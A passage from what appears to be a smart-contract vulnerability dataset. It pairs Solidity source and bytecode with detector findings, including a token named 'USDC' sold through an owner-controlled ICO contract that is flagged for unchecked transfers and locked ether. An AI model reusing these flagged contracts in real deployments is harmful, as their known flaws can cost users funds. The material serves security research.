008060008061160e611a6d565b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060c060405190810160405290816000820154815260200160018201548152602001600282018054806020026020016040519081016040528092919081815260200182805480156116bc57602002820191906000526020600020905b8154815260200190600101908083116116a8575b505050505081526020016003820180548060200260200160405190810160405280929190818152602001828054801561171457602002820191906000526020600020905b815481526020019060010190808311611700575b505050505081526020016004820180548060200260200160405190810160405280929190818152602001828054801561176c57602002820191906000526020600020905b815481526020019060010190808311611758575b50505050508152602001600582018054806020026020016040519081016040528092919081815260200182805480156117c457602002820191906000526020600020905b8154815260200190600101908083116117b0575b50505050508152505090508060400151868151811015156117e157fe5b906020019060200201518160600151878151811015156117fd57fe5b9060200190602002015182608001518881518110151561181957fe5b906020019060200201518360a001518981518110151561183557fe5b9060200190602002015194509450945094505092959194509250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ac57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6009549081150290604051600060405180830381858888f19350505050158015611915573d6000803e3d6000fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561197357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119af57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60c06040519081016040528060008152602001600081526020016060815260200160608152602001606081526020016060815250905600a165627a7a7230582098ff62c08d6f5b1f6f52ce35112446bf5c97696a1d709940ecf03bfc400624990029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
1,338
0x16058bbd3e684b30ed92810b27a3a18b62184232
pragma solidity ^0.4.17; library SafeMathMod { // Partial SafeMath Library function mul(uint256 a, uint256 b) constant internal returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) constant internal returns(uint256) { assert(b != 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256 c) { require((c = a - b) < a); } function add(uint256 a, uint256 b) internal pure returns(uint256 c) { require((c = a + b) > a); } } contract Usdcoins { //is inherently ERC20 using SafeMathMod for uint256; /** * @constant name The name of the token * @constant symbol The symbol used to display the currency * @constant decimals The number of decimals used to dispay a balance * @constant totalSupply The total number of tokens times 10^ of the number of decimals * @constant MAX_UINT256 Magic number for unlimited allowance * @storage balanceOf Holds the balances of all token holders * @storage allowed Holds the allowable balance to be transferable by another address. */ address owner; string constant public name = "USDC"; string constant public symbol = "USDC"; uint256 constant public decimals = 18; uint256 constant public totalSupply = 100000000e18; uint256 constant private MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event TransferFrom(address indexed _spender, address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function() payable { revert(); } function Usdcoins() public { balanceOf[msg.sender] = totalSupply; owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev function that sells available tokens */ function transfer(address _to, uint256 _value) public returns(bool success) { /* Ensures that tokens are not sent to address "0x0" */ require(_to != address(0)); /* Prevents sending tokens directly to contracts. */ /* SafeMathMOd.sub will throw if there is not enough balance and if the transfer value is 0. */ balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) { /* Ensures that tokens are not sent to address "0x0" */ require(_to != address(0)); /* Ensures tokens are not sent to this contract */ uint256 allowance = allowed[_from][msg.sender]; /* Ensures sender has enough available allowance OR sender is balance holder allowing single transsaction send to contracts*/ require(_value <= allowance || _from == msg.sender); /* Use SafeMathMod to add and subtract from the _to and _from addresses respectively. Prevents under/overflow and 0 transfers */ balanceOf[_to] = balanceOf[_to].add(_value); balanceOf[_from] = balanceOf[_from].sub(_value); /* Only reduce allowance if not MAX_UINT256 in order to save gas on unlimited allowance */ /* Balance holder does not need allowance to send from self. */ if (allowed[_from][msg.sender] != MAX_UINT256 && _from != msg.sender) { allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); } Transfer(_from, _to, _value); return true; } /** * @dev Transfer the specified amounts of tokens to the specified addresses. * @dev Be aware that there is no check for duplicate recipients. * * @param _toAddresses Receiver addresses. * @param _amounts Amounts of tokens that will be transferred. */ function multiPartyTransfer(address[] _toAddresses, uint256[] _amounts) public { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transfer(_toAddresses[i], _amounts[i]); } } /** * @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender. * @dev Be aware that there is no check for duplicate recipients. * * @param _from The address of the sender * @param _toAddresses The addresses of the recipients (MAX 255) * @param _amounts The amounts of tokens to be transferred */ function multiPartyTransferFrom(address _from, address[] _toAddresses, uint256[] _amounts) public { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transferFrom(_from, _toAddresses[i], _amounts[i]); } } /** * @notice `msg.sender` approves `_spender` to spend `_value` tokens * * @param _spender The address of the account able to transfer the tokens * @param _value The amount of tokens to be approved for transfer * @return Whether the approval was successful or not */ function approve(address _spender, uint256 _value) public returns(bool success) { /* Ensures address "0x0" is not assigned allowance. */ require(_spender != address(0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) public view returns(uint256 remaining) { remaining = allowed[_owner][_spender]; } function isNotContract(address _addr) private view returns(bool) { uint length; assembly { /* retrieve the size of the code on target address, this needs assembly */ length: = extcodesize(_addr) } return (length == 0); } } contract icocontract { //is inherently ERC20 using SafeMathMod for uint256; uint public raisedAmount = 0; uint256 public RATE = 400; bool public icostart = true; address owner; Usdcoins public token; function icocontract() public { owner = msg.sender; } modifier whenSaleIsActive() { // Check if icostart is true require(icostart == true); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function setToken(Usdcoins _token) onlyOwner { token = _token; } function setraisedAmount(uint raised) onlyOwner { raisedAmount = raised; } function setRate(uint256 rate) onlyOwner { RATE = rate; } function setIcostart(bool newicostart) onlyOwner { icostart = newicostart; } function() external payable { buyTokens(); } function buyTokens() payable whenSaleIsActive { // Calculate tokens to sell uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(RATE); // Increment raised amount raisedAmount = raisedAmount.add(msg.value); token.transferFrom(owner, msg.sender, tokens); // Send money to owner owner.transfer(msg.value); } }
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063130346d2146100a3578063144fa6d7146100d25780632b8d0cd71461011557806334fcf43714610144578063664e970414610171578063c59ee1dc1461019c578063d0febe4c146101c7578063f55b8fc9146101d1578063fc0c546a146101fe575b6100a1610255565b005b3480156100af57600080fd5b506100b8610473565b604051808215151515815260200191505060405180910390f35b3480156100de57600080fd5b50610113600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610486565b005b34801561012157600080fd5b50610142600480360381019080803515159060200190929190505050610526565b005b34801561015057600080fd5b5061016f6004803603810190808035906020019092919050505061059f565b005b34801561017d57600080fd5b50610186610605565b6040518082815260200191505060405180910390f35b3480156101a857600080fd5b506101b161060b565b6040518082815260200191505060405180910390f35b6101cf610255565b005b3480156101dd57600080fd5b506101fc60048036038101908080359060200190929190505050610611565b005b34801561020a57600080fd5b50610213610677565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060011515600260009054906101000a900460ff16151514151561027a57600080fd5b3491506102926001548361069d90919063ffffffff16565b90506102a9346000546106d090919063ffffffff16565b600081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156103ca57600080fd5b505af11580156103de573d6000803e3d6000fd5b505050506040513d60208110156103f457600080fd5b810190808051906020019092919050505050600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561046e573d6000803e3d6000fd5b505050565b600260009054906101000a900460ff1681565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104e257600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561058257600080fd5b80600260006101000a81548160ff02191690831515021790555050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105fb57600080fd5b8060018190555050565b60015481565b60005481565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561066d57600080fd5b8060008190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828402905060008414806106be57508284828115156106bb57fe5b04145b15156106c657fe5b8091505092915050565b6000828284019150811115156106e557600080fd5b929150505600a165627a7a723058206baa2a2b82137f98adc2947af2ade87d6162f95d8b75f709c2250058b685e9ee0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,339
0x2fcc73982cda54b15941eaae842f93a31f879ef2
pragma solidity 0.4.24; // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/CappedToken.sol /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } // File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } // File: contracts/GnomeInvasionToken.sol contract GnomeInvasionToken is CappedToken, DetailedERC20 { constructor(string _name, string _symbol, uint8 _decimals, uint256 _cap) DetailedERC20(_name, _symbol, _decimals) CappedToken(_cap) public { } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde0314610130578063095ea7b3146101c057806318160ddd1461022557806323b872dd14610250578063313ce567146102d5578063355274ea1461030657806340c10f1914610331578063661884631461039657806370a08231146103fb578063715018a6146104525780637d64bcb4146104695780638da5cb5b1461049857806395d89b41146104ef578063a9059cbb1461057f578063d73dd623146105e4578063dd62ed3e14610649578063f2fde38b146106c0575b600080fd5b34801561010d57600080fd5b50610116610703565b604051808215151515815260200191505060405180910390f35b34801561013c57600080fd5b50610145610716565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018557808201518184015260208101905061016a565b50505050905090810190601f1680156101b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cc57600080fd5b5061020b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b4565b604051808215151515815260200191505060405180910390f35b34801561023157600080fd5b5061023a6108a6565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b0565b604051808215151515815260200191505060405180910390f35b3480156102e157600080fd5b506102ea610c6a565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031257600080fd5b5061031b610c7d565b6040518082815260200191505060405180910390f35b34801561033d57600080fd5b5061037c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c83565b604051808215151515815260200191505060405180910390f35b3480156103a257600080fd5b506103e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d34565b604051808215151515815260200191505060405180910390f35b34801561040757600080fd5b5061043c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc5565b6040518082815260200191505060405180910390f35b34801561045e57600080fd5b5061046761100d565b005b34801561047557600080fd5b5061047e611112565b604051808215151515815260200191505060405180910390f35b3480156104a457600080fd5b506104ad6111da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104fb57600080fd5b50610504611200565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610544578082015181840152602081019050610529565b50505050905090810190601f1680156105715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058b57600080fd5b506105ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061129e565b604051808215151515815260200191505060405180910390f35b3480156105f057600080fd5b5061062f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114bd565b604051808215151515815260200191505060405180910390f35b34801561065557600080fd5b506106aa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116b9565b6040518082815260200191505060405180910390f35b3480156106cc57600080fd5b50610701600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611740565b005b600360149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ac5780601f10610781576101008083540402835291602001916107ac565b820191906000526020600020905b81548152906001019060200180831161078f57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108ed57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561093a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109c557600080fd5b610a16826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aa9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b7a82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900460ff1681565b60045481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ce157600080fd5b600360149054906101000a900460ff16151515610cfd57600080fd5b600454610d15836001546117c190919063ffffffff16565b11151515610d2257600080fd5b610d2c83836117dd565b905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e45576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed9565b610e5883826117a890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106957600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117057600080fd5b600360149054906101000a900460ff1615151561118c57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112965780601f1061126b57610100808354040283529160200191611296565b820191906000526020600020905b81548152906001019060200180831161127957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112db57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561132857600080fd5b611379826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061140c826000808673ffffffffffffffffffffffffffffffffffffffff1673ff